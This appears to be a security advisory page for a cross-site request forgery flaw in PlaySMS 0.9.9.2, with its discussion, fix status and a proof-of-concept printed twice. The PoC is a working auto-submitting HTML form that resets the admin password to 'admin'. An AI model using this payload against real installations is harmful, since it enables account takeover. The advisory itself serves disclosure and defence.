PlaySMS Change Admin Password Cross Site Request Forgery Vulnerability
BID:64217
Info
PlaySMS Change Admin Password Cross Site Request Forgery Vulnerability
| Bugtraq ID: | 64217 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Dec 09 2013 12:00AM |
| Updated: | Dec 09 2013 12:00AM |
| Credit: | Saadat Ullah |
| Vulnerable: |
PlaySmS PlaySmS 0.9.9.2 |
| Not Vulnerable: | |
Discussion
PlaySMS Change Admin Password Cross Site Request Forgery Vulnerability
PlaySMS is prone to a cross-site request-forgery vulnerability.
Exploiting the issue will allow a remote attacker to use a victim's currently active session to change the victim's password. Successful exploits will compromise affected computers.
PlaySMS is prone to a cross-site request-forgery vulnerability.
Exploiting the issue will allow a remote attacker to use a victim's currently active session to change the victim's password. Successful exploits will compromise affected computers.
Exploit / POC
PlaySMS Change Admin Password Cross Site Request Forgery Vulnerability
To exploit this issue an attacker must entice an unsuspecting victim to view a malicious webpage.
The following exploit code is available:
<html>
<body onload="javascript:document.forms[0].submit()">
<form name="ex"action="http://www.example.com/playsms/web/index.php?app=menu&inc=user_pref&op=user_pref_save" method=post enctype="multipart/form-data">
<input type=hidden size=30 maxlength=30 name=up_password value="admin">
<input type=hidden size=30 maxlength=30 name=up_password_conf value="admin">
<input type=hidden size=30 maxlength=100 name=up_name value="admin">
<input type=hidden size=30 maxlength=30 name=up_email value="[email protected]">
<td><input type=hidden size=30 maxlength=250 name=up_address value=""></td>
<td><input type=hidden size=30 maxlength=100 name=up_city value=""></td>
<td><input type=hidden size=30 maxlength=100 name=up_state value=""></td>
<td><input type=hidden size=10 maxlength=10 name=up_zipcode value=""></td>
<input type=submit class=button value='Save'>
</form>
</html>
To exploit this issue an attacker must entice an unsuspecting victim to view a malicious webpage.
The following exploit code is available:
<html>
<body onload="javascript:document.forms[0].submit()">
<form name="ex"action="http://www.example.com/playsms/web/index.php?app=menu&inc=user_pref&op=user_pref_save" method=post enctype="multipart/form-data">
<input type=hidden size=30 maxlength=30 name=up_password value="admin">
<input type=hidden size=30 maxlength=30 name=up_password_conf value="admin">
<input type=hidden size=30 maxlength=100 name=up_name value="admin">
<input type=hidden size=30 maxlength=30 name=up_email value="[email protected]">
<td><input type=hidden size=30 maxlength=250 name=up_address value=""></td>
<td><input type=hidden size=30 maxlength=100 name=up_city value=""></td>
<td><input type=hidden size=30 maxlength=100 name=up_state value=""></td>
<td><input type=hidden size=10 maxlength=10 name=up_zipcode value=""></td>
<input type=submit class=button value='Save'>
</form>
</html>
Solution / Fix
PlaySMS Change Admin Password Cross Site Request Forgery Vulnerability
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
PlaySMS Change Admin Password Cross Site Request Forgery Vulnerability
References:
References:
- PlaySMS <= 0.9.9.2 CSRF (Saadat Ullah)
- playSMS Homepage (playSMS)